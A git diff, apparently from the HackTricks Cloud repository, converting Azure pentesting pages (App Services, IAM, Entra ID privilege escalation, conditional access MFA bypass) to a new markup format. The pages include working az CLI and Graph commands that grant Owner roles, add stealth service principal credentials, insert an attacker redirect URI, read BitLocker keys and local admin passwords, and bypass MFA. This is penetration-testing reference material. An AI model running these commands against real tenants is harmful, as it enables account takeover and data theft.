-   * Format the disk (choose NTFS for most cases).
-{% endtab %}
-{% endtabs %}
+   - Assign a drive letter (e.g., `D:`).
+   - Format the disk (choose NTFS for most cases).
+     {{#endtab }}
+     {{#endtabs }}
 
 ### Sensitive information in disks & snapshots
 
@@ -175,16 +163,13 @@ It might be possible to find **sensitive information inside VM extensions and VM
 
 1. **List all VM apps**
 
-{% code overflow="wrap" %}
 ```bash
 ## List all VM applications inside a gallery
 az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table
 ```
-{% endcode %}
 
 2. Install the extension in a VM and **search for sensitive info**
 
-{% code overflow="wrap" %}
 ```bash
 az vm application set \
    --resource-group <rsc-group> \
@@ -192,19 +177,5 @@ az vm application set \
    --app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
    --treat-deployment-as-failure true
 ```
-{% endcode %}
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/azure-security/az-privilege-escalation/README.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/README.md
similarity index 100%
rename from pentesting-cloud/azure-security/az-privilege-escalation/README.md
rename to src/pentesting-cloud/azure-security/az-privilege-escalation/README.md
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md
new file mode 100644
index 000000000..acb4d51bb
--- /dev/null
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md
@@ -0,0 +1,39 @@
+# Az - App Services Privesc
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## App Services
+
+For more information about Azure App services check:
+
+{{#ref}}
+../az-services/az-app-service.md
+{{#endref}}
+
+### Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read,&#x20;
+
+These permissions allows to call the following commands to get a **SSH shell** inside a web app
+
+- Direct option:
+
+```bash
+# Direct option
+az webapp ssh --name <name> --resource-group <res-group>
+```
+
+- Create tunnel and then connect to SSH:
+
+```bash
+az webapp create-remote-connection --name <name> --resource-group <res-group>
+
+## If successfull you will get a message such as:
+#Verifying if app is running....
+#App is running. Trying to establish tunnel connection...
+#Opening tunnel on port: 39895
+#SSH is available { username: root, password: Docker! }
+
+## So from that machine ssh into that port (you might need generate a new ssh session to the jump host)
+ssh root@127.0.0.1 -p 39895
+```
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md
similarity index 52%
rename from pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md
rename to src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md
index 804536dc3..e4572f79b 100644
--- a/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md
@@ -1,38 +1,23 @@
 # Az - Azure IAM Privesc (Authorization)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Azure IAM
 
 Fore more information check:
 
-{% content-ref url="../az-services/az-azuread.md" %}
-[az-azuread.md](../az-services/az-azuread.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-services/az-azuread.md
+{{#endref}}
 
 ### Microsoft.Authorization/roleAssignments/write
 
 This permission allows to assign roles to principals over a specific scope, allowing an attacker to escalate privileges by assigning himself a more privileged role:
 
-{% code overflow="wrap" %}
 ```bash
 # Example
 az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"
 ```
-{% endcode %}
 
 ### Microsoft.Authorization/roleDefinitions/Write
 
@@ -45,17 +30,11 @@ Create the file `role.json` with the following **content**:
   "Name": "<name of the role>",
   "IsCustom": true,
   "Description": "Custom role with elevated privileges",
-  "Actions": [
-    "*"
-  ],
+  "Actions": ["*"],
   "NotActions": [],
-  "DataActions": [
-    "*"
-  ],
+  "DataActions": ["*"],
   "NotDataActions": [],
-  "AssignableScopes": [
-    "/subscriptions/<subscription-id>"
-  ]
+  "AssignableScopes": ["/subscriptions/<subscription-id>"]
 }
 ```
 
@@ -69,11 +48,9 @@ az role definition update --role-definition role.json
 
 This permissions allows to elevate privileges and be able to assign permissions to any principal to Azure resources. It's meant to be given to Entra ID Global Administrators so they can also manage permissions over Azure resources.
 
-{% hint style="success" %}
-I think the user need to be Global Administrator in Entrad ID for the elevate call to work.
-{% endhint %}
+> [!TIP]
+> I think the user need to be Global Administrator in Entrad ID for the elevate call to work.
 
-{% code overflow="wrap" %}
 ```bash
 # Call elevate
 az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"
@@ -81,7 +58,6 @@ az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Au
 # Grant a user the Owner role
 az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"
 ```
-{% endcode %}
 
 ### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write
 
@@ -89,7 +65,6 @@ This permission allows to add Federated credentials to managed identities. E.g.
 
 Example command to give access to a repo in Github to the a managed identity:
 
-{% code overflow="wrap" %}
 ```bash
 # Generic example:
 az rest --method PUT \
@@ -103,19 +78,5 @@ az rest --method PUT \
   --headers "Content-Type=application/json" \
   --body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
 ```
-{% endcode %}
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md
similarity index 73%
rename from pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md
rename to src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md
index 533dd93bc..c337ced69 100644
--- a/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md
@@ -1,23 +1,9 @@
 # Az - EntraID Privesc
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+{{#include ../../../../banners/hacktricks-training.md}}
 
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-{% hint style="info" %}
-Note that **not all the granular permissions** built-in roles have in Entra ID **are elegible to be used in custom roles.**
-{% endhint %}
+> [!NOTE]
+> Note that **not all the granular permissions** built-in roles have in Entra ID **are elegible to be used in custom roles.**
 
 ## Roles
 
@@ -25,13 +11,13 @@ Note that **not all the granular permissions** built-in roles have in Entra ID *
 
 This role contains the necessary granular permissions to be able to assign roles to principals and to give more permissions to roles. Both actions could be abused to escalate privileges.
 
-* Assign role to a user:
+- Assign role to a user:
 
 ```bash
 # List enabled built-in roles
 az rest --method GET \
   --uri "https://graph.microsoft.com/v1.0/directoryRoles"
-  
+
 # Give role (Global Administrator?) to a user
 roleId="<roleId>"
 userId="<userId>"
@@ -43,7 +29,7 @@ az rest --method POST \
   }"
 ```
 
-* Add more permissions to a role:
+- Add more permissions to a role:
 
 ```bash
 # List only custom roles
@@ -52,7 +38,7 @@ az rest --method GET \
 
 # Change the permissions of a custom role
 az rest --method PATCH \
-  --uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/<role-id>" \ 
+  --uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/<role-id>" \
   --headers "Content-Type=application/json" \
   --body '{
     "description": "Update basic properties of application registrations",
@@ -105,14 +91,12 @@ An attacker can add a redirect URI to applications that are being used by users
 
 Note that it's also possible to change the permissions the application requests in order to get more permissions, but in this case the user will need accept again the prompt asking for all the permissions.
 
-{% code overflow="wrap" %}
 ```bash
 # Get current redirect uris
 az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
 # Add a new redirect URI (make sure to keep the configured ones)
-az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback" 
+az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"
 ```
-{% endcode %}
 
 ## Service Principals
 
@@ -124,18 +108,15 @@ This allows an attacker to add credentials to existing service principals. If th
 az ad sp credential reset --id <sp-id> --append
 ```
 
-{% hint style="danger" %}
-The new generated password won't appear in the web console, so this could be a stealth way to maintain persistence over a service principal.\
-From the API they can be found with: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
-{% endhint %}
+> [!CAUTION]
+> The new generated password won't appear in the web console, so this could be a stealth way to maintain persistence over a service principal.\
+> From the API they can be found with: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
 
 If you get the error `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` it's because **it's not possible to modify the passwordCredentials property** of the SP and first you need to unlock it. For it you need a permission (`microsoft.directory/applications/allProperties/update`) that allows you to execute:
 
-{% code overflow="wrap" %}
 ```bash
 az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
 ```
-{% endcode %}
 
 ### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`
 
@@ -166,9 +147,8 @@ az ad sp credential reset --id <sp-id> --append
 az ad sp owner list --id <spId>
 ```
 
-{% hint style="danger" %}
-After adding a new owner, I tried to remove it but the API responded that the DELETE method wasn't supported, even if it's the method you need to use to delete the owner. So you **can't remove owners nowadays**.
-{% endhint %}
+> [!CAUTION]
+> After adding a new owner, I tried to remove it but the API responded that the DELETE method wasn't supported, even if it's the method you need to use to delete the owner. So you **can't remove owners nowadays**.
 
 ### `microsoft.directory/servicePrincipals/disable` and `enable`
 
@@ -188,7 +168,6 @@ az ad sp update --id <ServicePrincipalId> --account-enabled true
 
 These permissions allow to create and get credentials for single sign-on which could allow access to third-party applications.
 
-{% code overflow="wrap" %}
 ```bash
 # Generate SSO creds for a user or a group
 spID="<spId>"
@@ -208,9 +187,8 @@ az rest --method POST \
   --headers "Content-Type=application/json" \
   --body "{\"id\": \"$credID\"}"
 ```
-{% endcode %}
 
-***
+---
 
 ## Groups
 
@@ -264,9 +242,9 @@ az rest --method PATCH \
 
 It might be possible for users to escalate privileges modifying their own properties to be added as members of dynamic groups. For more info check:
 
-{% content-ref url="dynamic-groups.md" %}
-[dynamic-groups.md](dynamic-groups.md)
-{% endcontent-ref %}
+{{#ref}}
+dynamic-groups.md
+{{#endref}}
 
 ## Users
 
@@ -282,7 +260,6 @@ az ad user update --id <user-id> --password "kweoifuh.234"
 
 This privilege allows to modify properties of the user. It's common to find dynamic groups that add users based on properties values, therefore, this permission could allow a user to set the needed property value to be a member to a specific dynamic group and escalate privileges.
 
-{% code overflow="wrap" %}
 ```bash
 #e.g. change manager of a user
 victimUser="<userID>"
@@ -291,22 +268,21 @@ az rest --method PUT \
   --uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \
   --headers "Content-Type=application/json" \
   --body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}'
-  
+
 #e.g. change department of a user
 az rest --method PATCH \
   --uri "https://graph.microsoft.com/v1.0/users/$victimUser" \
   --headers "Content-Type=application/json" \
   --body "{\"department\": \"security\"}"
 ```
-{% endcode %}
 
 ## Conditional Access Policies & MFA bypass
 
 Misconfigured conditional access policies requiring MFA could be bypassed, check:
 
-{% content-ref url="az-conditional-access-policies-mfa-bypass.md" %}
-[az-conditional-access-policies-mfa-bypass.md](az-conditional-access-policies-mfa-bypass.md)
-{% endcontent-ref %}
+{{#ref}}
+az-conditional-access-policies-mfa-bypass.md
+{{#endref}}
 
 ## Devices
 
@@ -340,9 +316,8 @@ az rest --method POST \
 
 This permission allows attackers to read the properties of the backed up local administrator account credentials for Microsoft Entra joined devices, including the password
 
-{% code overflow="wrap" %}
 ```bash
-# List deviceLocalCredentials 
+# List deviceLocalCredentials
 az rest --method GET \
   --uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials"
 
@@ -351,7 +326,6 @@ deviceLC="<deviceLCID>"
 az rest --method GET \
   --uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \
 ```
-{% endcode %}
 
 ## BitlockerKeys
 
@@ -359,7 +333,6 @@ az rest --method GET \
 
 This permission allows to access BitLocker keys, which could allow an attacker to decrypt drives, compromising data confidentiality.
 
-{% code overflow="wrap" %}
 ```bash
 # List recovery keys
 az rest --method GET \
@@ -370,29 +343,15 @@ recoveryKeyId="<recoveryKeyId>"
 az rest --method GET \
   --uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"
 ```
-{% endcode %}
 
 ## Other Interesting permissions (TODO)
 
-* `microsoft.directory/applications/permissions/update`
-* `microsoft.directory/servicePrincipals/permissions/update`
-* `microsoft.directory/applications.myOrganization/allProperties/update`
-* `microsoft.directory/applications/allProperties/update`
-* `microsoft.directory/servicePrincipals/appRoleAssignedTo/update`
-* `microsoft.directory/applications/appRoles/update`
-* `microsoft.directory/applications.myOrganization/permissions/update`
+- `microsoft.directory/applications/permissions/update`
+- `microsoft.directory/servicePrincipals/permissions/update`
+- `microsoft.directory/applications.myOrganization/allProperties/update`
+- `microsoft.directory/applications/allProperties/update`
+- `microsoft.directory/servicePrincipals/appRoleAssignedTo/update`
+- `microsoft.directory/applications/appRoles/update`
+- `microsoft.directory/applications.myOrganization/permissions/update`
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
similarity index 67%
rename from pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
rename to src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
index c58c50947..498bc7d2a 100644
--- a/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
@@ -1,19 +1,6 @@
 # Az - Conditional Access Policies & MFA Bypass
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## Basic Information
 
@@ -33,16 +20,16 @@ When configuring a conditional access policy it's needed to indicate the **users
 
 It's also needed to configure the **conditions** that will **trigger** the policy:
 
-* **Network**: Ip, IP ranges and geographical locations
-  * Can be bypassed using a VPN or Proxy to connect to a country or managing to login from an allowed IP address
-* **Microsoft risks**: User risk, Sign-in risk, Insider risk
-* **Device platforms**: Any device or select Android, iOS, Windows phone, Windows, macOS, Linux
-  * If “Any device” is not selected but all the other options are selected it’s possible to bypass it using a random user-agent not related to those platforms
-* **Client apps**: Option are “Browser”, “Mobiles apps and desktop clients”, “Exchange ActiveSync clients” and Other clients”
-  * To bypass login with a not selected option
-* **Filter for devices**: It’s possible to generate a rule related the used device
-* A**uthentication flows**: Options are “Device code flow” and “Authentication transfer”
-  * This won’t affect an attacker unless he is trying to abuse any of those protocols in a phishing attempt to access the victims account
+- **Network**: Ip, IP ranges and geographical locations
+  - Can be bypassed using a VPN or Proxy to connect to a country or managing to login from an allowed IP address
+- **Microsoft risks**: User risk, Sign-in risk, Insider risk
+- **Device platforms**: Any device or select Android, iOS, Windows phone, Windows, macOS, Linux
+  - If “Any device” is not selected but all the other options are selected it’s possible to bypass it using a random user-agent not related to those platforms
+- **Client apps**: Option are “Browser”, “Mobiles apps and desktop clients”, “Exchange ActiveSync clients” and Other clients”
+  - To bypass login with a not selected option
+- **Filter for devices**: It’s possible to generate a rule related the used device
+- A**uthentication flows**: Options are “Device code flow” and “Authentication transfer”
+  - This won’t affect an attacker unless he is trying to abuse any of those protocols in a phishing attempt to access the victims account
 
 The possible **results** are: Block or Grant access with potential conditions like require MFA, device to be compliant…
 
@@ -50,12 +37,12 @@ The possible **results** are: Block or Grant access with potential conditions li
 
 It's possible to set a condition based on the **device platform** (Android, iOS, Windows, macOS...), however, this is based on the **user-agent** so it's easy to bypass. Even **making all the options enforce MFA**, if you use a **user-agent that it isn't recognized,** you will be able to bypass the MFA or block:
 
-<figure><img src="../../../../.gitbook/assets/image (352).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../../images/image (352).png" alt=""><figcaption></figcaption></figure>
 
 Just making the browser **send an unknown user-agent** (like `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) is enough to not trigger this condition.\
 You can change the user agent **manually** in the developer tools:
 
-<figure><img src="../../../../.gitbook/assets/image (351).png" alt="" width="375"><figcaption></figcaption></figure>
+<figure><img src="../../../../images/image (351).png" alt="" width="375"><figcaption></figcaption></figure>
 
 &#x20;Or use a [browser extension like this one](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en).
 
@@ -67,20 +54,18 @@ If this is set in the conditional policy, an attacker could just use a **VPN** i
 
 It's possible to configure **conditional access policies to block or force** for example MFA when a user tries to access **specific app**:
 
-<figure><img src="../../../../.gitbook/assets/image (353).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../../images/image (353).png" alt=""><figcaption></figcaption></figure>
 
 To try to bypass this protection you should see if you can **only into any application**.\
 The tool [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) has **tens of application IDs hardcoded** and will try to login into them and let you know and even give you the token if successful.
 
 In order to **test specific application IDs in specific resources** you could also use a tool such as:
 
-{% code overflow="wrap" %}
 ```bash
 roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout
 
 <token>
 ```
-{% endcode %}
 
 Moreover, it's also possible to protect the login method (e.g. if you are trying to login from the browser or from a desktop application). The tool [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) perform some checks to try to bypass this protections also.
 
@@ -94,9 +79,8 @@ The tool [**ROPCI**](https://github.com/wunderwuzzi23/ropci) can also be used to
 
 One Azure MFA option is to **receive a call in the configured phone number** where it will be asked the user to **send the char `#`**.
 
-{% hint style="danger" %}
-As chars are just **tones**, an attacker could **compromise** the **voicemail** message of the phone number, configure as the message the **tone of `#`** and then, when requesting the MFA make sure that the **victims phone is busy** (calling it) so the Azure call gets redirected to the voice mail.
-{% endhint %}
+> [!CAUTION]
+> As chars are just **tones**, an attacker could **compromise** the **voicemail** message of the phone number, configure as the message the **tone of `#`** and then, when requesting the MFA make sure that the **victims phone is busy** (calling it) so the Azure call gets redirected to the voice mail.
 
 ### Compliant Devices
 
@@ -116,9 +100,9 @@ Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
 
 Find more information about this kind of attack in the following page:
 
-{% content-ref url="../../az-lateral-movement-cloud-on-prem/pass-the-prt.md" %}
-[pass-the-prt.md](../../az-lateral-movement-cloud-on-prem/pass-the-prt.md)
-{% endcontent-ref %}
+{{#ref}}
+../../az-lateral-movement-cloud-on-prem/pass-the-prt.md
+{{#endref}}
 
 ## Tooling
 
@@ -149,9 +133,8 @@ Invoke-MFASweep -Username <username> -Password <pass>
 
 This tool has helped identify MFA bypasses and then abuse APIs in multiple production AAD tenants, where AAD customers believed they had MFA enforced, but ROPC based authentication succeeded.
 
-{% hint style="success" %}
-You need to have permissions to list all the applications to be able to generate the list of the apps to brute-force.
-{% endhint %}
+> [!TIP]
+> You need to have permissions to list all the applications to be able to generate the list of the apps to brute-force.
 
 ```bash
 ./ropci configure
@@ -179,12 +162,10 @@ Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
 
 Because the **Azure** **portal** is **not constrained** it's possible to **gather a token from the portal endpoint to access any service detected** by the previous execution. In this case Sharepoint was identified, and a token to access it is requested:
 
-{% code overflow="wrap" %}
 ```powershell
 $token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
 Read-JWTtoken -token $token.access_token
 ```
-{% endcode %}
 
 Supposing the token has the permission Sites.Read.All (from Sharepoint), even if you cannot access Sharepoint from the web because of MFA, it's possible to use the token to access the files with the generated token:
 
@@ -194,20 +175,7 @@ $data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl
 
 ## References
 
-* [https://www.youtube.com/watch?v=yOJ6yB9anZM\&t=296s](https://www.youtube.com/watch?v=yOJ6yB9anZM\&t=296s)
-* [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8)
+- [https://www.youtube.com/watch?v=yOJ6yB9anZM\&t=296s](https://www.youtube.com/watch?v=yOJ6yB9anZM&t=296s)
+- [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
new file mode 100644
index 000000000..22061b615
--- /dev/null
